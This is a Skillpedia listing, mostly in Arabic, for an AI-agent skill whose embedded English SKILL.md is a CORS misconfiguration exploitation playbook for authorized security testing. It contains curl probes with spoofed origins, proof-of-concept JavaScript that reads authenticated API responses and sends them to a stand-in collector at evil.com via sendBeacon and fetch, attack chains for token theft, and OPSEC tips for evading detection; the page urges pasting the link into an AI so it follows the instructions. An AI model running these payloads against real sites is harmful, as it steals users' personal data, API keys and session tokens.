Skillpedia
الأمان6.5k · #14055

cors

ما الذي تفعله

يشرح هذا الدليل كيفية اختبار قواعد المشاركة بين المواقع، المعروفة بـ CORS، لدى الموقع. وهو موجه لمختبري الأمان الذين يتحققون مما إذا كانت مواقع أخرى تستطيع قراءة بيانات المستخدم.

متى تستخدمها

  • ✓عندما تريد معرفة هل يسمح موقع لنطاقات أخرى بقراءة بيانات المستخدم المسجل دخوله.
  • ✓عندما تحتاج مراجعة أمنية إلى فحص ترويسة Access-Control-Allow-Origin.
  • ✓عندما تُرجع واجهة برمجية بيانات خاصة ويجب التأكد من الجهة المسموح لها بقراءتها.

رابط المهارة

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“هل يمكنك اختبار ما إذا كانت واجهتي البرمجية تسمح لمواقع أخرى بقراءة بيانات حسابات يجب أن تبقى خاصة؟”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

يرسل الوكيل طلبات بترويسات مصدر وهمية مختلفة، ويفحص أي مصادر يسمح بها الخادم، خصوصاً عندما تُسمح بيانات الاعتماد أيضاً.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

CORS Misconfiguration Playbook

A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it is paired with Access-Control-Allow-Credentials: true (ACAC) — any origin the server reflects can read authenticated responses (PII, API keys, CSRF tokens). ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to unauthenticated requests.

1. Detection — probe origin reflection

# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
  echo "== Origin: $o =="
  curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
    | grep -i "access-control-allow-origin\|access-control-allow-credentials"
done

# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: authorization" \
  | grep -i "access-control-"

A response echoing Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true confirms exploitable reflection.

2. Misconfiguration matrix

Class Server behaviour Exploit origin
Origin reflection ACAO echoes any Origin + ACAC true https://evil.com
null allowed ACAO: null + ACAC true sandboxed iframe / data:/file: (sends Origin: null)
Wildcard + creds (browser-blocked, but check tooling) ACAO: * with secrets only if creds not required
Suffix match flaw allows *target.com https://evil-target.com
Prefix match flaw allows target.com* https://target.com.evil.com
Unescaped dot in regex ^https://app.target.com$ https://appxtarget.com
Trusted subdomain + XSS allows *.target.com XSS on any subdomain → same-site fetch
Pre-domain confusion naive contains("target.com") https://target.com.evil.com, https://eviltarget.com

3. Exploit PoC — credentialed cross-origin read

<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
  const url = "https://<TARGET>/api/account";
  fetch(url, { credentials: "include" })
    .then(r => r.text())
    .then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>

For null-origin servers, deliver the same script inside a sandboxed iframe so the browser sends Origin: null:

<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
  &lt;script&gt;fetch('https://<TARGET>/api/account',{credentials:'include'})
   .then(r=&gt;r.text()).then(d=&gt;fetch('https://evil.com/c?d='+encodeURIComponent(d)));&lt;/script&gt;">
</iframe>

4. Chains

  • CORS → token theft → CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
  • Subdomain XSS → CORS: server trusts *.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API.
  • CORS → API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.

5. Tools

  • Corsy — fast misconfiguration scanner (python corsy.py -u https://<TARGET>)
  • CORScanner — origin-reflection + regex-flaw detection
  • Burp Suite — CORS checks (active scan) + manual Origin fuzzing in Repeater

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Repeated Origin: variants from one IP WAF / access-log anomaly Throttle probes; reuse a single canary origin
OPTIONS flood (preflight fuzzing) Rate-based WAF rule Test one endpoint at a time
Beacon to external collector Egress/DNS monitoring Use an in-scope collector during authorized tests

Decision Gate: CORS confirmed → exploitation

  • ACAO reflects an attacker-controlled origin (or null)
  • ACAC is true (or the endpoint serves secrets without auth)
  • A sensitive response body is readable cross-origin
  • PoC exfiltrates real data from an authenticated victim context If all checked, escalate per finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).
الأسئلة الشائعة

هل كل مشكلة CORS خطيرة؟

ليس دائماً. تقول المهارة إنها الأخطر عندما يُسمح أيضاً ببيانات الاعتماد، لأن مواقع أخرى تستطيع عندئذ قراءة الاستجابات للمستخدمين المسجلين.

ماذا يبحث الوكيل في الاستجابة؟

ترويستي Access-Control-Allow-Origin وAccess-Control-Allow-Credentials اللتين يرجعهما الخادم.

هل يمكن استخدام هذه المهارة على أي موقع؟

يجب استخدامها فقط على المواقع التي لديك تصريح باختبارها.

التفاصيل

الوصف الأصلي من المؤلف

CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.

repo: BitterSecurity/Decepticon

الشعبية

نجوم GitHub
6.5k
الترتيب
#14055
الترخيص
Apache-2.0
آخر تحديث
1‏/11‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة